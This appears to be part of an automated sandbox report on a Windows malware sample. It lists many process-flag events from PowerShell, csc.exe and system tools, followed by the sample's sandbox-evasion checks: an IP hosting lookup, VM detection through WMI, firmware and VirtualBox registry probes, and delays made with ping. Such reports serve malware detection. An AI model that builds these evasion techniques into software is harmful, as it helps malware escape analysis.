Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.3.0

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost -n 3

